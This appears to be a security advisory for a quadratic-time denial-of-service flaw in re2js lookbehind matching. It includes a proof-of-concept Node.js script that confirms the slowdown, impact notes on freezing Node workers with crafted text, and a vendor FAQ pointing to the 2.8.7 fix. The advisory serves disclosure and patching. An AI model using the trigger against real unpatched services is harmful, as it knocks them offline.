CVE-2026-116795

RE2JS: Quadratic-time denial of service in re2js lookbehind matching

let currentPos = this.prog.numLb > 0 ? 0 : pos;   // ~line 1907
...
if (this.ncap === 0 && this.matched) break;        // ~line 1953

'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
//   npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
//   node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));

const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);

function timeFindLoop(n) {
  const s = 'ab'.repeat(n / 2);
  const t0 = Date.now();
  const m = re.matcher(s);
  let count = 0;
  while (m.find()) count++;
  return { ms: Date.now() - t0, count };
}

console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
  const r = timeFindLoop(n);
  results.push(r.ms);
  console.log(`${n}, ${r.count}, ${r.ms}`);
}

const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);

npm pack [email protected] --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package

• re2js's entire value proposition is being an RE2-style engine with
  linear-time, no-backtracking matching, specifically to resist
  algorithmic-complexity attacks that plague backtracking regex engines.
  This finding defeats that guarantee for any consumer using the advertised
  LOOKBEHINDS feature.
• Realistic affected code paths: log/text processing that tokenizes or
  redacts using a lookbehind-based pattern (matchAll, split,
  replaceAll are the natural APIs for exactly this), applied to
  attacker-influenced text (user input, uploaded logs, scraped content).
• A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;
  Node.js being single-threaded, this freezes the whole worker process for
  the duration. No authentication or special pattern knowledge is required
  from the attacker, ordinary alternating text ("abababab...") triggers it.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

CVE-2026-116795 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.7); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-116795? CVE-2026-116795 is a high-severity inefficient regular expression (ReDoS) vulnerability in re2js (npm), affecting versions >= 2.2.0, < 2.8.7. It is fixed in 2.8.7. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
2. How severe is CVE-2026-116795? CVE-2026-116795 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of re2js are affected by CVE-2026-116795? re2js (npm) versions >= 2.2.0, < 2.8.7 is affected.
4. Is there a fix for CVE-2026-116795? Yes. CVE-2026-116795 is fixed in 2.8.7. Upgrade to this version or later.
5. Is CVE-2026-116795 exploitable, and should I be worried? Whether CVE-2026-116795 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-116795 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-116795? Upgrade re2js to 2.8.7 or later.